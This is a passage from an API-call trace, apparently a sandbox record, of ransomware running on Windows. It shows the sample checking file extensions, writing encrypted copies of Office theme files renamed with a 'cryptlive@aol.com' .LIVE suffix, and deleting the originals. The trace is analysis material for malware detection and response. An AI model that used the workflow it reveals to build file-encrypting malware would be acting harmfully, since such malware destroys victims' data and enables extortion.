SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1 [0136.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.647] lstrlenW (lpString=".doc") returned 4 [0136.647] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString=".docx") returned 5 [0136.648] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.648] lstrlenW (lpString=".pdf") returned 4 [0136.648] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString=".xls") returned 4 [0136.648] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString=".xlsx") returned 5 [0136.648] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.648] lstrlenW (lpString=".ppt") returned 4 [0136.648] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.648] lstrlenW (lpString=".zip") returned 4 [0136.648] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString=".rar") returned 4 [0136.648] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString=".bz2") returned 4 [0136.648] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString=".7z") returned 3 [0136.648] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.648] lstrlenW (lpString=".dbf") returned 4 [0136.648] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.648] lstrlenW (lpString=".1cd") returned 4 [0136.648] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.648] lstrlenW (lpString=".jpg") returned 4 [0136.648] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.648] lstrlenW (lpString=".doc") returned 4 [0136.649] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString=".docx") returned 5 [0136.649] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.649] lstrlenW (lpString=".pdf") returned 4 [0136.649] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString=".xls") returned 4 [0136.649] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString=".xlsx") returned 5 [0136.649] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.649] lstrlenW (lpString=".ppt") returned 4 [0136.649] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.649] lstrlenW (lpString=".zip") returned 4 [0136.649] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString=".rar") returned 4 [0136.649] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString=".bz2") returned 4 [0136.649] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString=".7z") returned 3 [0136.649] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.649] lstrlenW (lpString=".dbf") returned 4 [0136.649] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.649] lstrlenW (lpString=".1cd") returned 4 [0136.649] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0136.649] lstrlenW (lpString=".jpg") returned 4 [0136.649] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.650] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.650] lstrlenW (lpString="Slipstream.eftx") returned 15 [0136.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0136.663] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=27789) returned 1 [0136.663] CloseHandle (hObject=0x3ac) returned 1 [0136.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0136.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0136.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0136.985] GetLastError () returned 0x0 [0136.985] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x6c8d, lpOverlapped=0x0) returned 1 [0137.016] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0137.017] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.017] WriteFile (in: hFile=0x1fc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0137.017] SetEndOfFile (hFile=0x1fc) returned 1 [0137.018] CloseHandle (hObject=0x1fc) returned 1 [0137.018] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.018] SetEndOfFile (hFile=0x38c) returned 1 [0137.020] CloseHandle (hObject=0x38c) returned 1 [0137.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 1 [0137.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.048] lstrlenW (lpString=".doc") returned 4 [0137.048] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.048] lstrlenW (lpString=".docx") returned 5 [0137.048] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.048] lstrlenW (lpString=".pdf") returned 4 [0137.048] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.048] lstrlenW (lpString=".xls") returned 4 [0137.048] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.048] lstrlenW (lpString=".xlsx") returned 5 [0137.048] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.048] lstrlenW (lpString=".ppt") returned 4 [0137.048] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.048] lstrlenW (lpString=".zip") returned 4 [0137.048] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.048] lstrlenW (lpString=".rar") returned 4 [0137.048] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.048] lstrlenW (lpString=".bz2") returned 4 [0137.048] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.048] lstrlenW (lpString=".7z") returned 3 [0137.048] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.049] lstrlenW (lpString=".dbf") returned 4 [0137.049] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.049] lstrlenW (lpString=".1cd") returned 4 [0137.049] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.049] lstrlenW (lpString=".jpg") returned 4 [0137.049] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.049] lstrlenW (lpString=".doc") returned 4 [0137.049] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString=".docx") returned 5 [0137.049] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.049] lstrlenW (lpString=".pdf") returned 4 [0137.049] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString=".xls") returned 4 [0137.049] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString=".xlsx") returned 5 [0137.049] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.049] lstrlenW (lpString=".ppt") returned 4 [0137.049] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.049] lstrlenW (lpString=".zip") returned 4 [0137.049] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString=".rar") returned 4 [0137.049] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString=".bz2") returned 4 [0137.049] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString=".7z") returned 3 [0137.049] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.049] lstrlenW (lpString=".dbf") returned 4 [0137.049] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.050] lstrlenW (lpString=".1cd") returned 4 [0137.050] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0137.050] lstrlenW (lpString=".jpg") returned 4 [0137.050] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.050] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0137.050] lstrlenW (lpString="Verve.eftx") returned 10 [0137.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.051] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31224) returned 1 [0137.051] CloseHandle (hObject=0x38c) returned 1 [0137.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0137.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.051] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.051] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.052] GetLastError () returned 0x0 [0137.052] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x79f8, lpOverlapped=0x0) returned 1 [0137.054] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x7a00, lpOverlapped=0x0) returned 1 [0137.055] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.055] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0137.055] SetEndOfFile (hFile=0x3b0) returned 1 [0137.056] CloseHandle (hObject=0x3b0) returned 1 [0137.056] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.056] SetEndOfFile (hFile=0x38c) returned 1 [0137.058] CloseHandle (hObject=0x38c) returned 1 [0137.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 1 [0137.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.060] lstrlenW (lpString=".doc") returned 4 [0137.060] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString=".docx") returned 5 [0137.060] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.060] lstrlenW (lpString=".pdf") returned 4 [0137.060] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString=".xls") returned 4 [0137.060] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString=".xlsx") returned 5 [0137.060] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.060] lstrlenW (lpString=".ppt") returned 4 [0137.060] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.060] lstrlenW (lpString=".zip") returned 4 [0137.060] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString=".rar") returned 4 [0137.060] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString=".bz2") returned 4 [0137.060] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString=".7z") returned 3 [0137.060] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.060] lstrlenW (lpString=".dbf") returned 4 [0137.060] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.060] lstrlenW (lpString=".1cd") returned 4 [0137.060] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.060] lstrlenW (lpString=".jpg") returned 4 [0137.060] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.060] lstrlenW (lpString=".doc") returned 4 [0137.060] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString=".docx") returned 5 [0137.061] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.061] lstrlenW (lpString=".pdf") returned 4 [0137.061] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString=".xls") returned 4 [0137.061] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString=".xlsx") returned 5 [0137.061] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.061] lstrlenW (lpString=".ppt") returned 4 [0137.061] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.061] lstrlenW (lpString=".zip") returned 4 [0137.061] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString=".rar") returned 4 [0137.061] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString=".bz2") returned 4 [0137.061] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString=".7z") returned 3 [0137.061] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.061] lstrlenW (lpString=".dbf") returned 4 [0137.061] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.061] lstrlenW (lpString=".1cd") returned 4 [0137.061] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0137.061] lstrlenW (lpString=".jpg") returned 4 [0137.061] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.061] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0137.061] lstrlenW (lpString="Waveform.eftx") returned 13 [0137.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.062] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=112504) returned 1 [0137.062] CloseHandle (hObject=0x38c) returned 1 [0137.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0137.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.063] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.063] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.064] GetLastError () returned 0x0 [0137.064] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x1b778, lpOverlapped=0x0) returned 1 [0137.067] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1b780, lpOverlapped=0x0) returned 1 [0137.070] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.070] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0137.070] SetEndOfFile (hFile=0x3b0) returned 1 [0137.070] CloseHandle (hObject=0x3b0) returned 1 [0137.070] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.071] SetEndOfFile (hFile=0x38c) returned 1 [0137.302] CloseHandle (hObject=0x38c) returned 1 [0137.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 1 [0137.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0137.407] lstrlenW (lpString=".doc") returned 4 [0137.408] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.408] lstrlenW (lpString=".docx") returned 5 